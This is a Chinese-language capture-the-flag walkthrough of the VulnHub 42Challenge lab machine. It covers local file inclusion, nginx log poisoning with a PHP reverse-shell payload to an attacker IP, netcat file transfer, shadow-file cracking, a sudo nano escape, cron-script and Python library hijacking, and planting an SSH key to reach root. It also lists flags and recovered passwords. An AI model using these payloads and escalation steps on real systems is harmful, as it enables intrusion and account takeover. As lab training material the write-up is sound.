vulnhub:42Challenge

42Challenge: 1 ~ VulnHubhttps://www.vulnhub.com/entry/42challenge-1,465/目标:Get the 7 flags

0x01 主机发现

nmap 192.168.56.0/24 -Pn

image-20250819192558566

0x02 web渗透

2.1 目录扫描

dirsearch -u http://192.168.56.201/ -e*

image-20250819192329546

轻松找到第一个flag,http://192.168.56.201/flag.txt

42challenge{www-data_d009633c1bea90aef338fae768aec8fd}

2.2 漏洞测试

输入ip执行ping命令,命令注入。

尝试堆叠命令反弹shell,测试常见的几个截断符号('|',';','&&')都失败了。

image-20250819192349011

?log,似乎可以试试文件包含。

image-20250819194444028

bp抓包测试本地文件包含,/etc/passwd有回显,包含本地文件成功。

image-20250819200913605

存在本地文件包含,结合中间件是Nginx,能否包含Nginx日志文件,

  • 访问日志:/var/log/nginx/access.log

  • 错误日志:/var/log/nginx/error.log

(不知道为啥只能包含到错误日志)

image-20250819202921994

2.3 nginx错误日志getshell

写入phpinfo测试能否写入到error.log。http://192.168.56.201/index.php?log=<?php phpinfo(); ?>

回显phpinfo内容。

image-20250819204111586

写入shell,

http://192.168.56.201/index.php?log=<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.109/4444 0>&1'"); ?>

image-20250819203834504

nc监听4444端口,接收反弹。包含/var/log/nginx/error.log触发反弹

image-20250819203933184

0x03 提权

ls -al /home

drwxr-xr-x 7 laura laura 4096 Apr 13 2020 laura drwxr-xr-x 5 lucas lucas 4096 Mar 5 2020 lucas drwxr-xr-x 5 maria maria 4096 Apr 13 2020 maria drwxr-xr-x 14 marvin marvin 4096 Apr 14 2020 marvin drwxr-xr-x 5 pedro pedro 4096 Apr 13 2020 pedro

laura家目录下有.ssh文件,但是没有写入权限。

提权没思路了,上传linpeas.sh到目标机器/tmp下,chmod +x后执行。

3.1 shadow文件爆破提权到marvin

linpeas.sh枚举结果中有发现,/var/backups/shadow_backup.bak可读。

image-20250820095032921

/etc/shadow的备份文件,存储了Linux系统中用户的密码信息。

image-20250820095927838

复制到攻击机,使用john爆破。marvinthemartian (marvin)

ssh marvin@192.168.56.201

image-20250820102134076

第二个flag。

42challenge{marvin_92e8dd9db0b4bd058eaa3ae340c41900}

3.2 suid程序逆向分析

suid发现线索——/usr/bin/Lucas_Access

image-20250820105415375

任意用户可运行,运行后需要输入密码。(strings命令回显中有几个可疑字符串,经验证都不是正确密码)

image-20250820120751069

放到攻击机进行分析。

# 靶机
nc 192.168.56.109 1234 < /usr/bin/Lucas_Access
# 攻击机
nc -lvp 1234 > Lucas_Access

用IDA打开,找到密码逻辑部分:

__int64 __fastcall try(__int64 a1)
{
  int i; // [rsp+14h] [rbp-Ch]
  char *v3; // [rsp+18h] [rbp-8h]
​
  v3 = (char *)malloc(0x11uLL);
  v3[17] = 0;
  strcpy(v3, "3dF_s6Pc");
  strcat(v3, "j$mrE_Zz");
  for ( i = 0; *(_BYTE *)(i + a1) && v3[i] && *(_BYTE *)(i + a1) == v3[i]; ++i )
    ;
  return *(unsigned __int8 *)(i + a1) - (unsigned int)(unsigned __int8)v3[i];
}
​
  • strcpy(_3dF_s6Pc, "3dF_s6Pc");:将字符串 "3dF_s6Pc" 复制到 _3dF_s6Pc 指向的内存区域。

  • strcat(_3dF_s6Pc, "j$mrE_Zz");:将字符串 "j$mrE_Zz" 连接到 _3dF_s6Pc 指向的字符串后面。

因此密码是3dF_s6Pcj$mrE_Zz,成功切换到lucas账户。

image-20250820153315347

第三个flag

42challenge{lucas_1e3ed5f8be63ef05c975e92ec3c53af2}

3.3 sudo提权

image-20250820153616706

提权步骤:

sudo -u maria /bin/nano
# ctrl+r ctrl+x
^R^X
reset; sh 1>&0 2>&0

提权到maria账户。

image-20250820153853816

第四个flag。

42challenge{maria_feb36fabc2ca4874fe0b42ed7d17d58f}

3.4 定时任务-修改源文件

常见的提权方法都用过了,传个pspy64看看有没有定时任务。

chmod +x pspy64
./pspy64

发现定时任务,uid=1003的用户,也就是pedro有一个定时任务,/home/pedro/Reporting_System_Info.sh。

image-20250820180343929

查看所在文件夹时发现特殊符号'+',使用getfacl命令查看隐藏的具体权限。

image-20250820154716718

发现maria用户仅有可读权限,cat命令查看脚本内容。读取内容后有重大发现,虽然Reporting_System_Info.sh仅读,但是该脚本内执行了另一个脚本/home/maria/Send_Reporting_Email.sh,而/home/maria/文件夹我们有权限进行读写。

image-20250820160137241

/home/maria目录下并没有Send_Reporting_Email.sh脚本,自己写一个。

image-20250820161516109

攻击机监听端口,等待定时任务执行反弹shell。成功拿到pedro的shell。

image-20250820161620115

利用python升级成完整的tty。

python -c 'import pty;pty.spawn("/bin/bash")'

第五个flag。

42challenge{pedro_6b849447404a8ddb95936e9804305fa6}

3.5 定时任务-python库劫持

还是看向定时任务,除了Reporting_System_Info.sh外还有uid=1004的用户定时执行了/home/laura/Server_Status.py

r-x,依旧没法直接修改py脚本来实现反弹shell,思路和利用Send_Reporting_Email.sh一致,看引入的文件是否可控。

image-20250820191131077

用了os,subprocess两个库。

image-20250820192645504

先使用python命令判断Python解释器版本,找到标准库路径/usr/lib/python<version>/packages,查看权限。

subprocess有读写权限。

ls -al /usr/lib/python2.7/subprocess.py
# -rw-rw-rw-

发现库文件被写入了一些额外代码,和laura用户的ssh公钥有关。

image-20250820193805074

攻击机执行ssh-keygen生成简单密钥对,执行后会在当前目录下生成两个文件id_rsa(私钥)和id_rsa.pub(公钥)

ssh-keygen -t

将公钥内容替换ssh_file.write()部分,a修改为w。

image-20250820202745842

等待/home/laura/Server_Status.py被定时执行,就能连接到laura。(或者直接往subprocess.py追加python反弹shell代码)

第六个flag。

42challenge{laura_f43b25e765a8f79a24cedd76753d38c2}

3.6 sudo

sudo -l,/hoem/laura/test可以帮助我们无密码提权到root。

image-20250820205559125

/home/laura目录下没有test文件,新建test文件把/bin/bash软连接or拷贝到文件中。

运行后提权到root。

image-20250820210256349

42challenge{root_b66b33ade4d6aacb37d84353074d5aed}

3.7 源码分析

/home/laura/secret_messages文件夹内有内容

image-20250820210621260

Reminder.txt似乎是一个加密字符串,xjw?wttyUfxx|twi?my<+dijwJK;

image-20250820211034679

需要用decrypt解密Reminder.txt文件?很像偏移类密码,试了试ROT21比较像,ser?rootPass|ord?ht<+yderEF;,看上去像回事了,root的密码是ht<+yderEF;?当然不对....以为一眼看出解密逻辑...

把decrypt下载到本地用IDA分析。逻辑大概就是读取Secret_Message.txt,将每个字符减5。(不就是ROT21吗,为啥不对)

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char filename[208]; // [rsp+10h] [rbp-E0h] BYREF
  int v5; // [rsp+E0h] [rbp-10h]
  char c; // [rsp+E7h] [rbp-9h]
  FILE *stream; // [rsp+E8h] [rbp-8h]
 
  strcpy(filename, "Secret_Message.txt");
  stream = fopen(filename, "r");
  while ( 1 )
  {
    c = fgetc(stream);
    if ( c == -1 )
      break;
    v5 = c - 5;
    c -= 5;
    putchar(c);
  }
  fclose(stream);
  return 0;
}

将Reminder.txt和decrypt文件复制到/tmp目录下。

# 重命名
mv Reminder.txt Secret_Message.txt
# 解密
./decrypt

成功解密得到root密码:(解出来的明文跟ROT21不一样,ASCII码减5,有什么问题吗....)

User: root Password: ht7&_derEF67pFh

image-20250820220008218

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值